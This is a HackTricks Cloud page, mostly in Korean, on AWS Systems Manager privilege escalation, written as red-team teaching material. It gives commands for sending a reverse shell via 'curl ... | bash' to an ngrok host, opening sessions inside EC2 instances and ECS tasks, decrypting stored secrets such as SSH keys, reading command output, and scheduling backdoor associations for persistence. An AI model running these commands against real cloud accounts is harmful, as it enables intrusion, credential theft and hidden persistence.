AWS - SSM Privesc
Reading time: 6 minutes
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
SSM
SSM에 대한 자세한 정보는 다음을 확인하세요:
AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum
ssm:SendCommand
권한 **ssm:SendCommand**을 가진 공격자는 Amazon SSM Agent가 실행 중인 인스턴스에서 execute commands in instances할 수 있으며, 그 안에서 실행 중인 compromise the IAM Role할 수 있다.
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active
# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"
이미 침해된 EC2 인스턴스 내부에서 이 기법을 사용해 권한을 상승시키려는 경우, 로컬에서 rev shell을 다음과 같이 캡처할 수 있습니다:
# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"
잠재적 영향: SSM Agents가 실행 중인 인스턴스에 연결된 EC2 IAM 역할로의 직접적인 privesc.
ssm:StartSession
권한 **ssm:StartSession**을 가진 공격자는 Amazon SSM Agent가 실행 중인 인스턴스에서 SSH와 유사한 세션을 시작할 수 있으며, 그 안에서 실행 중인 IAM Role을 탈취할 수 있습니다.
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active
# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"
caution
세션을 시작하려면 SessionManagerPlugin이 설치되어 있어야 합니다: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
잠재적 영향: SSM Agent가 실행 중인 인스턴스에 연결된 EC2 IAM 역할로의 직접 privesc.
Privesc to ECS
When ECS tasks run with ExecuteCommand enabled users with enough permissions can use ecs execute-command to execute a command inside the container.
According to the documentation this is done by creating a secure channel between the device you use to initiate the “exec“ command and the target container with SSM Session Manager. (SSM Session Manager Plugin이 필요합니다)
따라서 ssm:StartSession 권한을 가진 사용자는 해당 옵션이 활성화된 경우 단순히 다음을 실행하여 get a shell inside ECS tasks 할 수 있습니다:
aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
.png)
잠재적 영향: ExecuteCommand가 활성화된 실행 중인 태스크에 연결된 ECSIAM roles에 대한 직접적인 privesc.
ssm:ResumeSession
권한 **ssm:ResumeSession**을 가진 공격자는 Amazon SSM Agent가 실행 중이며 SSM 세션 상태가 연결이 끊긴 인스턴스에서 재-SSH와 유사한 세션을 시작할 수 있으며, 그 내부에서 실행되는 IAM Role을 탈취할 수 있습니다.
# Check for configured instances
aws ssm describe-sessions
# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5
잠재적 영향: SSM Agents가 실행 중이고 disconected sessions가 있는 실행 중인 인스턴스에 연결된 EC2 IAM roles로의 직접 privesc.
ssm:DescribeParameters, (ssm:GetParameter | ssm:GetParameters)
언급된 권한을 가진 공격자는 SSM parameters를 나열하고 평문으로 읽을 수 있습니다. 이러한 파라미터에서는 종종 SSH keys나 API keys와 같은 민감한 정보를 찾을 수 있습니다.
aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption
Potential Impact: 매개변수 내에서 sensitive information을 찾을 수 있음.
ssm:ListCommands
이 권한을 가진 공격자는 전송된 모든 commands를 나열하고, 그 안에서 sensitive information을 찾을 수 있다.
aws ssm list-commands
잠재적 영향: 명령줄 내부에서 민감한 정보를 찾을 수 있습니다.
ssm:GetCommandInvocation, (ssm:ListCommandInvocations | ssm:ListCommands)
이 권한을 가진 공격자는 전송된 모든 명령을 나열하고 생성된 출력을 읽어 민감한 정보를 찾아낼 수 있습니다.
# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations
aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>
잠재적 영향: 명령 출력에서 민감한 정보를 찾을 수 있습니다.
ssm:CreateAssociation 사용
권한 **ssm:CreateAssociation**를 가진 공격자는 State Manager Association을 생성하여 SSM으로 관리되는 EC2 인스턴스에서 명령을 자동으로 실행할 수 있습니다. 이러한 Association은 고정된 간격으로 실행되도록 구성할 수 있어 인터랙티브 세션 없이 backdoor-like persistence에 적합합니다.
aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name
note
이 지속성 방법은 EC2 인스턴스가 Systems Manager로 관리되고 SSM agent가 실행 중이며 공격자가 associations를 생성할 권한이 있는 한 작동합니다. 인터랙티브 세션이나 명시적인 ssm:SendCommand 권한을 필요로 하지 않습니다. Important: The --schedule-expression parameter (e.g., rate(30 minutes)) must respect AWS's minimum interval of 30 minutes. For immediate or one-time execution, omit --schedule-expression entirely — the association will execute once after creation.
Codebuild
빌드 중인 codebuild 프로젝트에 SSM을 이용해 접근할 수도 있습니다:
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
HackTricks Cloud